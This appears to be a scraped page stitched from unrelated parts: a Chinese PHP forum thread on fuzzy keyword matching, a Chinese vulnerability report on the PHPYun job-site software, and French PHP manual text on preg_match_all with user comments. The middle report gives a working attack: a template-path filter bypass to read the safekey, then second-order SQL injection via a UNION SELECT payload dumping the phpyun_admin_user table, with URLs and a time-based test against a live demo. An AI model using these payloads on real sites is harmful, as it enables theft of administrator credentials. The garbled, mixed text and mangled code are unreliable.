我有更好的答案
查看源代码看看，是不是编码不对。
下个xdebug调试看看吧
我以前也有过这样,卸装INDEX.我是装360的

MYSQL如何模糊匹配关键字？

现有数据库字段数据为 |饮料|咖啡|冷饮
用户输入 好喝的饮料
因为数据库字段里包含有饮料两字，如何将它查询出来呢？

给个例子 ， 用like
[mw_shl_code=php,true]$sql=&select * from baojia&;
$action=$_GET['action'];
if($action=='change'){
&&$sql=$sql.& where adddate like '%$value%'&;
if (isset($ssid))
& && &&&{$sql=$sql.& where ssid like '%$ssid%'&;}
if (isset($wid))
& && &&&{$sql=$sql.& and wid like '%$wid%'&;}[/mw_shl_code]

你這裡的情況是數據庫的字段比用戶輸入的字段範圍要小，建議分詞吧

对于一般的分词应用，dedesplit已经够用了。
使用方法：
view sourceprint?
require_once &lib_splitword_full.php&;
$str = &浅析我国旅行社运作模式前景&;
$sp = new SplitWord();
echo $sp-&SplitRMM($str).&&hr /&&
$sp-&Clear();
演示地址：http://www./split.php
分词改进版已经上传，支持gbk和utf8两种编码。

要求这么高。。。要是不用分词不用优化的话，我能想到的只是拿出来和“好喝的饮料”比对了。。。自己写个类呗～

sql不支持这样的模糊比对
--------------
建议用php处理
[mw_shl_code=php,true]
//两个字符串相互比对
$str = &好喝的饮料&;
$store = &饮料|咖啡|冷饮|&;
$arrData= explode('|',$store);
$sumData= count($arrData);
for($i=0;$i&$sumD$i++)
& && && & $back1 = strchr($arrData[$i],$str );
& && && & $back2 = strchr($str ,$arrData[$i]);
& && && && && && && && && && &&&
& && && & //任何一个在另外一个存在,就记录
& && && & if($back1 != '' || $back2 != '')
& && && & {
& && && && && && &&&
& && && & }
& && && && && && && && && && && && && && && && && && &
[/mw_shl_code]

mysql是没这个功能
你得自己写匹配函数

如果是用户写操作的时候做判断，explode成数组，然后再遍历判断应该可行吧？

好吧也许你可以反过来进行匹配，先把数据库相关字段取出来，将所有字段和输入的字符串进行一一匹配或截取。如果成功再去查该字段的数据，听起来不复杂呢！呵呵

简要描述：
的对之前的绕过过滤的那里也稍微改了下。。
这个改了 依旧能直接绕过 无限制。
可以直接出管理的密码啥的。 本地直接出管理密码了,demo测试。。
因为demo有安全狗。不会搞安全狗。 就直接延个时了。。
详细说明：
http://**.**.**.**/company/index.php?m=index&c=index&id=3751&style=../../template/admin&tp=/admin_web_config
可以发现现在打开是空白了。。 来看看代码。
在conpany/model/index.class.php中
code 区域$_GET['style'] = str_replace(array('.','/'),'',$_GET['style']);//原来是过滤了. 和 /
if($row['comtpl'] && $row['comtpl']!=&default& && !$_GET['style']){
$tplurl=$row[comtpl];
$this-&registrs();
$tplurl=&default&;
if($_GET['style']){
$tplurl=$_GET['style'];
$tp=$_GET['tp']?$_GET['tp']:&index&;
$this-&public_action();
$this-&yunset(&msglist&,$msglist);
$this-&yunset(&usertype&,$_COOKIE['usertype']);
$this-&yunset(&uid&,$this-&uid);
$this-&yunset(&comclass_name&,$comclass_name);
$this-&yunset(&com&,$row);
$this-&yunset(&looktype&,$looktype);
$this-&yunset(&look_msg&,$look_msg);
$this-&seo(&company_&.$tp);
$this-&yunset(&com_style&,$this-&config['sy_weburl'].&/template/company/&.$tplurl.&/&);
$this-&yunset(&comstyle&,&../template/company/&.$tplurl.&/&);
$this-&yuntpl(array('company/'.$tplurl.&/&.$tp));//不过我不怕 我还有$tp
那么就继续绕过过滤进行注入。
请无视上面的。
这个是之前的了， 但是还是有点问题的是。
发现phpyun生成的safekey都是一样的。
我测试了一些站 发现很少有改的。
之前连demo也没改。后面被我注入了几次才改了。
推荐随机生成一个呗。 咱我记得以前都是随机的。
现在都是啥72**啥的。 rand
在api\locoy\model\news.class.php中
code 区域function addnews_action(){

因为是二次注入 如果使用盲注的话 二次注入会非常的麻烦。
所以还是要想办法联合查询。
然后构造一下 因为主语句中有16个列 所以要16个。
%') and 1=2 UNION SELECT * FROM
((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN(SELECT 4)d JOIN (SELECT 5)e JOIN (SELECT 6)f JOIN (SELECT 7)g JOIN (SELECT 8)h JOIN (SELECT 9)i JOIN (SELECT 10)j JOIN (SELECT 11)k JOIN (SELECT 12)l JOIN (SELECT 13)m JOIN (SELECT 14)n JOIN (SELECT 15)o JOIN (a 16)p)#
后面发现 数据库没存储完。
| varchar(200) | NO
去看了下数据库 才发现keyword这个列只能储存200个字符 但是我们上面那个语句都已经300了。。 所以要想办法缩短到200.
后面我看了一下管理表 phpyun_admin_user 有8个列。
那我们再构造一下
') and 1=2 union select * from phpyun_admin_user join (select 1)a join (select 2)b join (select 2)c join (select 3)d join (select 4) e join(select 5)f join(select 6)g join (select 7)o join(select 8)p#
code 区域mysql& select length('\') and 1=2 union select * from phpyun_admin_user join (se
lect 1)a join (select 2)b join (select 2)c join (select 3)d join (select 4) e jo
in(select 5)f join(select 6)g join (select 7)o join(select 8)p#');
+-------------------------------------------------------------------------------

| length('\') and 1=2 union select * from phpyun_admin_user join (select 1)a joi
n (select 2)b join (select 2)c join (select 3)d join (select 4) e join(select 5)
f join(select 6)g join (select 7)o join(select 8)p#') |
+-------------------------------------------------------------------------------
--------------------------------------------------------------------------------
------------------------------------------------------+
我勒个擦 这运气也太好了把。。 刚好200个字符。。
然后来测试。
http://web/web/phpyun1226/api/locoy/index.php/admin/?m=news&c=addnews&key=phpyun
title=xa&content=xxax&nid=555&keyword=') and 1=2 union select * from phpyun_admin_user join (select 1)a join (select 2)b join (select 2)c join (select 3)d join (select 4) e join(select 5)f join(select 6)g join (select 7)o join(select 8)p#&safekey=939ab244bfc16c6013fadef6e6ecc702
返回1 添加成功。
然后访问 最后一个id的新闻 这里我们只需要把id写得很大
http://web/web/phpyun1226/index.php?m=news&c=show&id=21
然后会提示上一个新闻 点进去 就是我们的新闻了。
直接出数据。。
这里再用demo演示一下。
这里看到被拦截了 这里我们拿一下safekey
http://**.**.**.**/company/index.php?m=index&c=index&id=3751&style=index&tp=../../../template/admin/admin_web_config
这样绕过过滤 直接拿safekey
然后计算一下safekey
可以看到用计算出来的saefkey 又绕过了过滤。。
但是我过不了demo的安全狗 我擦擦擦擦擦。 这里我延时一个把。
返回1添加成功。
http://**.**.**.**/index.php?m=news&c=show&id=457 //延时了的
http://**.**.**.**/index.php?m=news&c=show&id=450 //普通的
可以发现明显时间不同。。

preg_match_all
preg_match_all & Expression rationnelle globale
Description
int preg_match_all
( string $pattern
, string $subject
[, array &$matches
[, int $flags = PREG_PATTERN_ORDER
[, int $offset = 0
Après avoir trouvé un premier résultat, la recherche continue jusqu'à
la fin de la cha?ne.
Liste de paramètres
Le masque à chercher, sous la forme d'une .
La cha?ne d'entrée.
Tableau contenant tous les résultats, dans un tableau multidimensionnel ordonné
suivant le paramètre flags.
Peut prendre une des deux valeurs suivantes
(notez bien qu'il est incohérent d'utiliser
PREG_PATTERN_ORDER avec
PREG_SET_ORDER ) :
PREG_PATTERN_ORDER
L'ordre est tel que $matches[0] est un tableau qui
contient les résultats qui satisfont le masque
complet, $matches[1] est un tableau qui contient les
résultats qui satisfont la première
parenthèse capturante, etc.
L'exemple ci-dessus va afficher :
&b&exemple : &/b&, &div align=left&ceci est un test&/div&
exemple : , ceci est un test
Ainsi, $out[0] est un tableau qui contient les résultats qui
satisfont le masque complet, et $out[1] est un tableau qui contient
les balises entre & et &.
PREG_SET_ORDER
Les résultats sont classés de telle fa?on que $matches[0]
contient la première série de résultats, $matches[1] contient
la deuxième, etc.
L'exemple ci-dessus va afficher :
&b&exemple : &/b&, exemple :
&div align=&left&&ceci est un test&/div&, ceci est un test
PREG_OFFSET_CAPTURE
Si cette option est activée, toutes les sous-cha?nes qui satisfont
le masque seront aussi identifiées par leur offset. Notez que cela
modifie le format de la valeur retournée, puisque chaque élément
de réponse devient un tableau contenant la sous-cha?ne résultat
à l'index 0 et l'index de celle-ci dans
la cha?ne subject à l'index 1.
Si order est omis,
PREG_PATTERN_ORDER est utilisé par défaut.
Normalement, la recherche commence au début de la cha?ne
subject. Le paramètre optionnel
offset peut être utilisé pour spécifier
une position pour le début de la recherche (en octets).
Utiliser le paramètre offset ne revient pas
à passer substr($subject, $offset) à
preg_match_all() à la place de la cha?ne
subject, car
pattern peut contenir des assertions comme
(?&=x). Lisez la documentation
sur la fonction
pour des exemples.
Valeurs de retour
Retourne le nombre de résultats qui satisfont le masque
complet, ou FALSE si une erreur survient.

I needed a function to rotate the results of a preg_match_all query, and made this. Not sure if it exists.
&?php

& & & & {
& & & & & & $rt[$x][$z] = $m[$z][$x];
& & & & }
& & }& &
& & return $rt;
}

Recently I had to write search engine in hebrew and ran into huge amount of problems. My data was stored in MySQL table with utf8_bin encoding.So, to be able to write hebrew in utf8 table you need to do&?php$prepared_text = addslashes(urf8_encode($text));?&But then I had to find if some word exists in stored text. This is the place I got stuck. Simple preg_match would not find text since hebrew doesnt work that easy. I've tried with /u and who kows what else.Solution was somewhat logical and simple... &?php$db_text = bin2hex(stripslashes(utf8_decode($db_text)));$word = bin2hex($word);$found = preg_match_all("/($word)+/i", $db_text, $matches);?&I've used preg_match_all since it returns number of occurences. So I could sort search results acording to that.Hope someone finds this useful!
The code that john at mccarthy dot net posted is not necessary. If you want your results grouped by individual match simply use:&?preg_match_all($pattern, $string, $matches, PREG_SET_ORDER);?&E.g.&?preg_match_all('/([GH])([12])([!?])/', 'G1? H2!', $matches); // Default PREG_PATTERN_ORDER// $matches = array(0 =& array(0 =& 'G1?', 1 =& 'H2!'),//& & & & & & & & & 1 =& array(0 =& 'G', 1 =& 'H'),//& & & & & & & & & 2 =& array(0 =& '1', 1 =& '2'),//& & & & & & & & & 3 =& array(0 =& '?', 1 =& '!'))preg_match_all('/([GH])([12])([!?])/', 'G1? H2!', $matches, PREG_SET_ORDER);// $matches = array(0 =& array(0 =& 'G1?', 1 =& 'G', 2 =& '1', 3 =& '?'),//& & & & & & & & & 1 =& array(0 =& 'H2!', 1 =& 'H', 2 =& '2', 3 =& '!'))?&

Here's some fleecy code to 1. validate RCF2822 conformity of address lists and 2. to extract the address specification (the part commonly known as 'email'). I wouldn't suggest using it for input form email checking, but it might be just what you want for other email applications. I know it can be optimized further, but that part I'll leave up to you nutcrackers. The total length of the resulting Regex is about 30000 bytes. That because it accepts comments. You can remove that by setting $cfws to $fws and it shrinks to about 6000 bytes. Conformity checking is absolutely and strictly referring to RFC2822.

I found simpleXML to be useful only in cases where the XML was extremely small, otherwise the server would run out of memory (I suspect there is a memory leak or something?). So while searching for alternative parsers, I decided to try a simpler approach. I don't know how this compares with cpu usage, but I know it works with large XML structures. This is more a manual method, but it works for me since I always know what structure of data I will be receiving.
Essentially I just preg_match() unique nodes to find the values I am looking for, or I preg_match_all to find multiple nodes. This puts the results in an array and I can then process this data as I please.
I was unhappy though, that preg_match_all() stores the data twice (requiring twice the memory), one array for all the full pattern matches, and one array for all the sub pattern matches. You could probably write your own function that overcame this. But for now this works for me, and I hope it saves someone else some time as well.

PREG_OFFSET_CAPTURE always seems to provide byte offsets, rather than character position offsets, even when you are using the unicode /u modifier.
Using preg_match_all I made a pretty handy function.
function reg_smart_replace($pattern, $replacement, $subject, $replacementChar = "$$$", $limit = -1)
{
& & if (! $pattern || ! $subject || ! $replacement ) { return false; }
& &
& & $replacementChar = preg_quote($replacementChar);
& &
& & preg_match_all ( $pattern, $subject, $matches);
& &
& & if ($limit & -1) {
& & & & foreach ($matches as $count =& $value )
& & & & {
& & & & & & if ($count + 1 & $limit ) { unset($matches[$count]); }
& & & & }
& & }
& & foreach ($matches[0] as $match) {
& & & & $rep = ereg_replace($replacementChar, $match, $replacement);
& & & & $subject = ereg_replace($match, $rep, $subject);
& & }

& & return $subject;
}

This function can turn blocks of text into clickable links or whatever.& Example:
&?php
reg_smart_replace(EMAIL_REGEX, '&a href=""&$$$&/a&', $description)
?&
will turn all email addresses into actual links.
Just substitute $$$ with the text that will be found by the regex.& If you can't use $$$ then use the 4th parameter $replacementChar
Be careful with this pattern match and large input buffer on preg_match_* functions.&?php$pattern = '/\{(?:[^{}]|(?R))*\}/';preg_match_all($pattern, $buffer, $matches); ?&if $buffer is 80+ KB in size, you'll end up with segfault! [] php[4384]: segfault at 7ffd6e2bdeb0 ip 0d67ed sp 00007ffd6e2bde70 error 6 in libpcre.so.3.13.1[7fa20c8c]This is due to the PCRE recursion. This is a known bug in PHP since 2008, but it's source is not PHP itself but PCRE library. Rasmus Lerdorf has the answer: "The problem here is that there is no way to detect run-away regular expressions here without huge performance and memory penalties. Yes, we could build PCRE in a way that it wouldn't segfault and we could crank up the default backtrack limit to something huge, but it would slow every regex call down by a lot. If PCRE provided a way to handle this in a more graceful manner without the performance hit we would of course use it."
I had been crafting and testing some regexp patterns online using the tools Regex101 and a `preg_match_all()` tester and found that the regexp patterns I wrote worked fine on them, just not in my code.My problem was not double-escaping backslash characters:&?php$input = "\"something\",\"something here\",\"some\nnew\nlines\",\"this is the end\"";preg_match_all( "/(?:,|^)(?&!\\)\".*?(?&!\\)\"(?:(?=,)|$)/s", $input, $matches );preg_match_all( "/(?:,|^)(?&!\\\\)\".*?(?&!\\\\)\"(?:(?=,)|$)/s", $input, $matches );?&

I have received complains, that my html2a() code (see below) doesn't work in some cases. It is however not the problem with algorithm or procedure, but with PCRE recursive stack limits.If you use recursive PCRE (?R) you should remember to increase those two ini settings:ini_set('pcre.backtrack_limit', );ini_set('pcre.recursion_limit', );But be warned: (from php.ini);Please note that if you set this value to a high number you may consume all;the available process stack and eventually crash PHP (due to reaching the;stack size limit imposed by the Operating System).I have written this example mainly to demonstrate the power of PCRE LANGUAGE, not the power of it's implementation& :) But if you like it, use it, of course on your own risk.

Here is a way to match everything on the page, performing an action for each match as you go. I had used this idiom in other languages, where its use is customary, but in PHP it seems to be not quite as common.&?phpfunction custom_preg_match_all($pattern, $subject){& & $offset = 0;& & $match_count = 0;& & while(preg_match($pattern, $subject, $matches, PREG_OFFSET_CAPTURE, $offset))& & {& & & & $match_count++;& & & & & & $match_start = $matches[0][1];& & & & $match_length = strlen(matches[0][0]);& & & & foreach($matches as $k =& $match) $newmatches[$k] = $match[0];& & & & $matches = $new_matches;& & & & & & echo "Match number $match_count, at byte offset $match_start, $match_length bytes long: ".$matches[0]."\r\n";& & & & & & & & & & $offset = $match_start + $match_length;& & }& & return $match_count;}?&Note that the offsets returned are byte values (not necessarily number of characters) so you'll have to make sure the data is single-byte encoded. (Or have a look at paolo mosna's strByte function on the strlen manual page).I'd be interested to know how this method performs speedwise against using preg_match_all and then recursing through the results.
Perhaps you want to find the positions of all anchor tags.& This will return a two dimensional array of which the starting and ending positions will be returned.&?phpfunction getTagPositions($strBody){& & define(DEBUG, false);& & define(DEBUG_FILE_PREFIX, "/tmp/findlinks_");& & & & preg_match_all("/&[^&]+&(.*)&\/[^&]+&/U", $strBody, $strTag, PREG_PATTERN_ORDER);& & $intOffset = 0;& & $intIndex = 0;& & $intTagPositions = array();& & foreach($strTag[0] as $strFullTag) {& & & & if(DEBUG == true) {& & & & & & $fhDebug = fopen(DEBUG_FILE_PREFIX.time(), "a");& & & & & & fwrite($fhDebug, $fulltag."\n");& & & & & & fwrite($fhDebug, "Starting position: ".strpos($strBody, $strFullTag, $intOffset)."\n");& & & & & & fwrite($fhDebug, "Ending position: ".(strpos($strBody, $strFullTag, $intOffset) + strlen($strFullTag))."\n");& & & & & & fwrite($fhDebug, "Length: ".strlen($strFullTag)."\n\n");& & & & & & fclose($fhDebug);& & & & }& & & & $intTagPositions[$intIndex] = array('start' =& (strpos($strBody, $strFullTag, $intOffset)), 'end' =& (strpos($strBody, $strFullTag, $intOffset) + strlen($strFullTag)));& & & & $intOffset += strlen($strFullTag);& & & & $intIndex++;& & }& & return $intTagPositions;}$strBody = 'I have lots of &a href=""&links&/a& on this &a href=""&page&/a& that I want to &a href=""&find&/a& the positions.';$strBody = strip_tags(html_entity_decode($strBody), '&a&');$intTagPositions = getTagPositions($strBody);print_r($intTagPositions);?&
please note, that the function of "mail at SPAMBUSTER at milianw dot de" can result in invalid xhtml in some cases. think i used it in the right way but my result is sth like this:&img src="./img.jpg" alt="nice picture" /&foo foo foo foo &/img&correct me if i'm wrong. i'll see when there's time to fix that. -.-
If you'd like to include DOUBLE QUOTES on a regular expression for use with preg_match_all, try ESCAPING THRICE, as in: \\\"For example, the pattern:'/&table&[\s\w\/&&=\\\"]*&\/table&/'Should be able to match:&table&&row&&col align="left" valign="top"&a&/col&&col align="right" valign="bottom"&b&/col&&/row&&/table&.. with all there is under those table tags.I'm not really sure why this is so, but I tried just the double quote and one or even two escape characters and it won't work. In my frustration I added another one and then it's cool.
As I intended to create for my own purpose a clean PHP class to act on XML files, combining the use of DOM and simplexml functions, I had that small problem, but very annoying, that the offsets in a path is not numbered the same in both.
That is to say, for example, if i get a DOM xpath object it appears like:
/ANODE/ANOTHERNODE/SOMENODE[9]/NODE[2]
and as a simplexml object would be equivalent to:
ANODE-&ANOTHERNODE-&SOMENODE[8]-&NODE[1]
So u see what I mean? I used preg_match_all to solve that problem, and finally I got this after some hours of headlock (as I'm french the names of variables are in French sorry), hoping it could be useful to some of you:
